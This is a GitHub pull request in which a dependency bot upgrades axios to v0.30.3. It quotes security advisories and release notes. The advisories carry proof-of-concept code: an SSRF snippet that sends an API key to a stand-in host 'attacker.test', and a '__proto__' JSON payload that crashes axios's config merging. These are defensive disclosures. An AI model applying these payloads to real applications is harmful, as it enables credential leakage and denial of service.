Skip to content

fix(deps): update dependency axios to v0.30.3 [security]#134

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-axios-vulnerability
Open

fix(deps): update dependency axios to v0.30.3 [security]#134
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-axios-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Nov 11, 2023

This PR contains the following updates:

Package Change Age Confidence
axios (source) 0.27.20.30.3 age confidence

GitHub Vulnerability Alerts

CVE-2023-45857

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

CVE-2026-25639

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

  1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
  2. Object.keys() includes '__proto__' in the iteration
  3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
  4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
  5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

  • Axios._request() at lib/core/Axios.js:75
  • Axios.getUri() at lib/core/Axios.js:201
  • All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

  1. Clone axios repository or npm install axios
  2. Create file poc.mjs with the code above
  3. Run: node poc.mjs
  4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test Config Result
Normal config {"timeout": 5000} SUCCESS
Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH
Nested object {"headers": {"X-Test": "value"}} SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

  • Node.js servers using axios for HTTP requests
  • Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.


Release Notes

axios/axios (axios)

v0.30.3: Release notes - v0.30.3

Compare Source

This is a critical security maintenance release for the v0.x branch. It addresses a high-priority vulnerability involving prototype pollution that could lead to a Denial of Service (DoS).

Recommendation: All users currently on the 0.x release line should upgrade to this version immediately to ensure environment stability.

🛡️ Security Fixes

  • Backport: Fix DoS via proto key in merge config
    • Patched a vulnerability where specifically crafted configuration objects using the proto key could cause a Denial of Service during the merge process. - by @​FeBe95 in PR #​7388

⚙️ Maintenance & CI

  • CI Infrastructure Update
    • Updated Continuous Integration workflows for the v0.x branch to maintain long-term support and build reliability. - by @​jasonsaayman in PR #​7407

⚠️ Breaking Changes

Configuration Merging Behavior:

As part of the security fix, Axios now restricts the merging of the proto key within configuration objects. If your codebase relies on unconventional deep-merging patterns that target the object prototype via Axios config, those operations will now be blocked. This is a necessary change to prevent prototype pollution.

Full Changelog: v0.30.2...v0.30.3

v0.30.2

Compare Source

What's Changed

New Contributors

Full Changelog: axios/axios@v0.30.1...v0.30.2

v0.30.1

Compare Source

Release notes:

Bug Fixes
Contributors to this release

Full Changelog: axios/axios@v0.30.0...v0.30.1

v0.30.0

Compare Source

Release notes:

Bug Fixes
Contributors to this release

Full Changelog: axios/axios@v0.29.0...v0.30.0

v0.29.0

Compare Source

Release notes:

Bug Fixes
Contributors to this release

v0.28.1

Compare Source

Release notes:

Release notes:

Bug Fixes
  • fix(backport): custom params serializer support (#​6263)
  • fix(backport): uncaught ReferenceError req is not defined (#​6307)

v0.28.0

Compare Source

Release notes:

Bug Fixes
Backports from v1.x:
  • Allow null indexes on formSerializer and paramsSerializer v0.x (#​4961)
  • Fixing content-type header repeated #​4745
  • Fixed timeout error message for HTTP 4738
  • Added axios.formToJSON method (#​4735)
  • URL params serializer (#​4734)
  • Fixed toFormData Blob issue on node>v17 #​4728
  • Adding types for progress event callbacks #​4675
  • Fixed max body length defaults #​4731
  • Added data URL support for node.js (#​4725)
  • Added isCancel type assert (#​4293)
  • Added the ability for the url-encoded-form serializer to respect the formSerializer config (#​4721)
  • Add string[] to AxiosRequestHeaders type (#​4322)
  • Allow type definition for axios instance methods (#​4224)
  • Fixed AxiosError stack capturing; (#​4718)
  • Fixed AxiosError status code type; (#​4717)
  • Adding Canceler parameters config and request (#​4711)
  • fix(types): allow to specify partial default headers for instance creation (#​4185)
  • Added blob to the list of protocols supported by the browser (#​4678)
  • Fixing Z_BUF_ERROR when no content (#​4701)
  • Fixed race condition on immediate requests cancellation (#​4261)
  • Added a clear() function to the request and response interceptors object so a user can ensure that all interceptors have been removed from an Axios instance #​4248
  • Added generic AxiosAbortSignal TS interface to avoid importing AbortController polyfill (#​4229)
  • Fix TS definition for AxiosRequestTransformer (#​4201)
  • Use type alias instead of interface for AxiosPromise (#​4505)
  • Include request and config when creating a CanceledError instance (#​4659)
  • Added generic TS types for the exposed toFormData helper (#​4668)
  • Optimized the code that checks cancellation (#​4587)
  • Replaced webpack with rollup (#​4596)
  • Added stack trace to AxiosError (#​4624)
  • Updated AxiosError.config to be optional in the type definition (#​4665)
  • Removed incorrect argument for NetworkError constructor (#​4656)

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Nov 11, 2023
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from a9a1f1c to 05ae73a Compare November 20, 2023 19:46
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from bf00495 to 83849a0 Compare November 27, 2023 21:20
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 01712c5 to ce9a2a2 Compare December 7, 2023 16:29
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 4 times, most recently from f7da65d to 2e95795 Compare December 20, 2023 19:18
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 2e95795 to 5745a50 Compare December 22, 2023 15:11
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 6b3db46 to acf1a3b Compare January 4, 2024 22:36
@sachk sachk force-pushed the master branch 7 times, most recently from ecebd38 to 749dd42 Compare February 5, 2024 01:28
@renovate renovate bot changed the title fix(deps): update dependency axios to v1 [security] fix(deps): update dependency axios to v1 [security] - autoclosed Feb 12, 2024
@renovate renovate bot closed this Feb 12, 2024
@renovate renovate bot deleted the renovate/npm-axios-vulnerability branch February 12, 2024 18:55
@renovate renovate bot restored the renovate/npm-axios-vulnerability branch February 12, 2024 22:25
@renovate renovate bot changed the title fix(deps): update dependency axios to v1 [security] - autoclosed fix(deps): update dependency axios to v1 [security] Feb 12, 2024
@renovate renovate bot reopened this Feb 12, 2024
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from acf1a3b to 25e5dd9 Compare February 12, 2024 22:25
@renovate renovate bot changed the title fix(deps): update dependency axios to v1 [security] fix(deps): update dependency axios to v1 [security] - autoclosed Feb 20, 2024
@renovate renovate bot closed this Feb 20, 2024
@renovate renovate bot changed the title fix(deps): update dependency axios to v1 [security] fix(deps): update dependency axios to v0.28.0 [security] Feb 22, 2024
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from fad28cc to ff0331c Compare April 9, 2024 06:42
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 16d2494 to d0e3a08 Compare May 14, 2024 12:43
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from d0e3a08 to 8b5184b Compare June 3, 2024 09:02
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 8b5184b to e706be1 Compare March 7, 2025 21:46
@renovate renovate bot changed the title fix(deps): update dependency axios to v0.28.0 [security] fix(deps): update dependency axios to v1 [security] Mar 7, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from e706be1 to eb29cf4 Compare March 28, 2025 15:45
@renovate renovate bot changed the title fix(deps): update dependency axios to v1 [security] fix(deps): update dependency axios to v0.28.0 [security] Mar 28, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from eb29cf4 to 33c1915 Compare June 15, 2025 01:00
@renovate renovate bot changed the title fix(deps): update dependency axios to v0.28.0 [security] fix(deps): update dependency axios to v0.30.0 [security] Jun 15, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 33c1915 to c9158e2 Compare June 15, 2025 01:02
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from c9158e2 to 47cfacd Compare August 10, 2025 14:32
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 47cfacd to f9ad6ce Compare September 12, 2025 22:04
@renovate renovate bot changed the title fix(deps): update dependency axios to v0.30.0 [security] fix(deps): update dependency axios to v1 [security] Sep 12, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from f9ad6ce to f99c24e Compare September 29, 2025 22:13
@renovate renovate bot changed the title fix(deps): update dependency axios to v1 [security] fix(deps): update dependency axios to v0.30.0 [security] Sep 29, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from f99c24e to ff15250 Compare September 30, 2025 00:27
@renovate renovate bot changed the title fix(deps): update dependency axios to v0.30.0 [security] fix(deps): update dependency axios to v0.30.2 [security] Sep 30, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from ff15250 to 2f242a8 Compare October 23, 2025 19:15
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 2f242a8 to 04005e1 Compare November 18, 2025 14:15
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 04005e1 to 218fea0 Compare January 16, 2026 19:08
@renovate renovate bot changed the title fix(deps): update dependency axios to v0.30.2 [security] fix(deps): update dependency axios to v0.30.0 [security] Jan 16, 2026
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 218fea0 to ba59ea3 Compare February 10, 2026 02:00
@renovate renovate bot changed the title fix(deps): update dependency axios to v0.30.0 [security] fix(deps): update dependency axios to v1 [security] Feb 10, 2026
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from ba59ea3 to 6544e36 Compare February 19, 2026 07:53
@renovate renovate bot changed the title fix(deps): update dependency axios to v1 [security] fix(deps): update dependency axios to v0.30.0 [security] Feb 19, 2026
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 6544e36 to 229119a Compare February 19, 2026 21:49
@renovate renovate bot changed the title fix(deps): update dependency axios to v0.30.0 [security] fix(deps): update dependency axios to v0.30.3 [security] Feb 19, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants